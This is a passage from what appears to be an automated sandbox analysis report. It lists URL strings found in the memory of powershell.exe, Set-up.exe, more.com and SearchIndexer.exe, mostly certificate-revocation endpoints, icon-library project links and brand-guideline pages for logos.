Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA.crl0E
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000004.00000002.2551812325.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751171633.0000000004AFE000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000004.00000002.2551812325.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751171633.0000000004AFE000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA.crl0L
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000004.00000002.2551812325.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751171633.0000000004AFE000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp, MahApps.Metro.IconPacks.MaterialLight.dll.0.dr, MahApps.Metro.IconPacks.BootstrapIcons.dll.0.dr	String found in binary or memory: http://metro.mahapps.com/winfx/xaml/iconpacks
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nagoshiashumari.github.io/Rpg-Awesome/Ehttps://github.com/nagoshiashumari/Rpg-Awesome/blob/ma
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000004.00000002.2551812325.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751171633.0000000004AFE000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0K
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000004.00000002.2551812325.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751171633.0000000004AFE000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spacemacs.org/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spacemacs.org/$
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://stackoverflow.com/company/logos
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://stackoverflow.com/company/logos=
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://subversion.apache.org/logo
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://subversion.apache.org/logo#
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gotinder.com/press
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gotinder.com/press3
Source: powershell.exe, 00000000.00000002.2478894094.000001D8F1B30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000000.00000002.2478894094.000001D8F1B30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000000.00000002.2445428097.000001D8817C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2445428097.000001D881904000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2445428097.000001D8818F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sii.cl/SiiDte
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.stencyl.com/about/press/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.stubhub.com
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.stubhub.com:
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.wix.com/about/design-assets
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://about.sourcegraph.com/handbook/marketing/brand/brand_guidelines
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://about.zenodo.org
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atlassian.design/resources/logo-library
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atlassian.design/resources/logo-library3
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blog.society6.com/app/themes/society6/dist/images/mark.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brand.suse.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brand.suse.com/#
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brandfolder.com/sonicwall/sonicwall-external
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brandland.zendesk.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brandland.zendesk.com/0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.js.wiki/images/wikijs-butterfly-mono.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.js.wiki/images/wikijs-butterfly-mono.svgP
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Commons-logo.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Commons-logo.svgM
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:SMRT_Corporation.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:SMRT_Corporation.svgG
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Slashdot_wordmark_and_logo.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Slashdot_wordmark_and_logo.svg(
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Subaru_logo.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Subaru_logo.svg/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Symantec_logo10.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Symantec_logo10.svg&
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Tampermonkey_logo.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Tampermonkey_logo.svg7
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:WWE_Network_logo.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:WWE_Network_logo.svg;
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Wikipedia-logo-v2.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Wikipedia-logo-v2.svgJ
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Wikiquote-logo.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Wikiquote-logo.svgR
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Wikivoyage-Logo-v3-en.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Wikivoyage-Logo-v3-en.svgu
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Windows_10_Logo.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Windows_10_Logo.svg9
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://commons.wikimedia.org/wiki/File:Windows_logo_-_2002%E2%80%932012_(Multicolored).svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://design.ticketmaster.com/brand/overview/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dev.xing.com/logo_rules
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dev.xing.com/logo_rulesf
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.apple.com/develop/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.apple.com/develop/$
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.apple.com/develop/4
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.spotify.com/documentation/general/design-and-branding/#using-our-logo
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.valvesoftware.com/favicon.ico
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.soliditylang.org/en/v0.8.6/brand-guide.html
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://doist.com/press/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://en.facebookbrand.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://en.facebookbrand.com/4
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://foursquare.com/about/logos
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://foursquare.com/about/logos0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://framework.zend.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://framework.zend.com/$
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gaming.youtube.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gaming.youtube.com/H
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getsol.us/branding/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DevExpress/testcafe/blob/dd174b6682b5f2675ac90e305d3d893c36a1d814/media/logos/svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp, MahApps.Metro.IconPacks.MaterialLight.dll.0.dr, MahApps.Metro.IconPacks.BootstrapIcons.dll.0.dr	String found in binary or memory: https://github.com/MahApps/MahApps.Metro.IconPacks.git
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Teradata/teradata.github.io/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Teradata/teradata.github.io/$
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cdfoundation/artwork/blob/3e748ca9cf9c3136a4a571f7655271b568c16a64/tekton/icon/bl
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/davidkpiano/xstate/blob/544df7f00e2ef49603b5e5ff2f0d183ff6bd5e7c/docs/.vuepress/p
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dotnet/swag/tree/master/xamarin
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/microsoft-ui-xaml/issues/1185#issuecomment-529731046
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/microsoft-ui-xaml/issues/1185#issuecomment-529731046-
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/terminal/blob/a90289548f8548bf5c370a4b141b4b815c22616b/res/terminal/Ter
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mrdoob/three.js/blob/a567b810cfcb7f6a03e4faea99f03c53081da477/files/icon.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mrdoob/three.js/blob/a567b810cfcb7f6a03e4faea99f03c53081da477/files/icon.svg)
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/snapcore/snap-store-badges
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/snapcore/snap-store-badges;
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/spinnaker/spinnaker.github.io/tree/master/assets/images
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/spinnaker/spinnaker.github.io/tree/master/assets/images%
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sqlite/sqlite/blob/43e862723ec680542ca6f608f9963c0993dd7324/art/sqlite370.eps
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/stopstalk/media-resources/blob/265b728c26ba597b957e72134a3b49a10dc0c91d/stopstalk
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/storybookjs/brand
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/stylelint/stylelint/blob/1f7bbb2d189b3e27b42de25f2948e3e5eec1b759/identity/stylel
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/stylus/stylus-lang.com/blob/c833bf697e39e1174c7c6e679e0e5a23d0baeb90/img/stylus-l
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/supabase/supabase/blob/2a983c3290148d17cfce9e34c0a39102b22fdf78/web/static/img/sh
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sveltejs/branding/blob/c4dfca6743572087a6aef0e109ffe3d95596e86a/svelte-logo.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sveltejs/branding/blob/c4dfca6743572087a6aef0e109ffe3d95596e86a/svelte-logo.svg3
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/svg/svgo/blob/93a5db197ca32990131bf41becf2e002bb0841bf/logo/isotype.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/svg/svgo/blob/93a5db197ca32990131bf41becf2e002bb0841bf/logo/isotype.svgM
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sympy/sympy.github.com/blob/e606a6dc2ee90b1ddaa9c36be6c92392ab300f72/media/sympy-
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/thundernest/thunderbird-website/blob/d7446f3eee14b38f02ee60da7d4b4fb8c9ef20e3/med
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/thymeleaf/thymeleaf-org/blob/0427d4d4c6f08d3a1fbed3bc90ceeebcf094b532/artwork/thy
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tmux/tmux/tree/f04cc3997629823f0e304d4e4184e2ec93c703f0/logo
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tmux/tmux/tree/f04cc3997629823f0e304d4e4184e2ec93c703f0/logo&
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/windicss/docs/blob/d7a01df515c4fa30dbb33ede7c46392e21fbf2cb/public/assets/logo.sv
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/xsf/xmpp.org/tree/00c49187e353c1a156c95562dafaf129e688fbad/content/icons
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/yarnpkg/assets
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/yarnpkg/assets5
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zeromq/zeromq.org/blob/master/static/safari-pinned-tab.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zeromq/zeromq.org/blob/master/static/safari-pinned-tab.svg/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ziglang/logo
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ziglang/logo8
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zulip/zulip/blob/df9e40491dc77b658d943cff36a816d46e32ce1b/static/images/logo/zuli
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/wanduow/wireshark/-/blob/cd5539b0f76975474869984a9d2f0fce29d5c21e/image/wsicon.sv
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://global.tomorrowland.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://global.tomorrowland.com/c
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.smash.gg/en/articles/1716774-smash-gg-brand-guidelines
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.smash.gg/en/articles/1716774-smash-gg-brand-guidelines9
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.smugmug.com/using-smugmug
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://intl.startrek.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://intl.startrek.com/6
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://itunes.apple.com/us/app/strava-running-and-cycling-gps/id426826309
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://itunes.apple.com/us/app/strava-running-and-cycling-gps/id426826309.
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new.steinberg.net/press/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://on.substack.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://on.substack.com/2
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partner.steamgames.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partner.steamgames.com/F
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partner.steamgames.com/doc/marketing/branding
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partner.steamgames.com/doc/marketing/branding#
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partnermarketinghub.withgoogle.com/#/brands/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partnermarketinghub.withgoogle.com/#/brands/(
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partnermarketinghub.withgoogle.com/#/brands/-
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partners.stitcher.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://simpleicons.org/Dhttps://github.com/simple-icons/simple-icons/blob/develop/LICENSE.md
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://simpleicons.org/Dhttps://github.com/simple-icons/simple-icons/blob/develop/LICENSE.md0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/sumologic.com/sumo-logic-brand/home
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://slack.com/brand-guidelines
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://slack.com/brand-guidelines7
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://slides.com/about
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://slides.com/about8
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snyk.io/press-kit
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snyk.io/press-kitQ
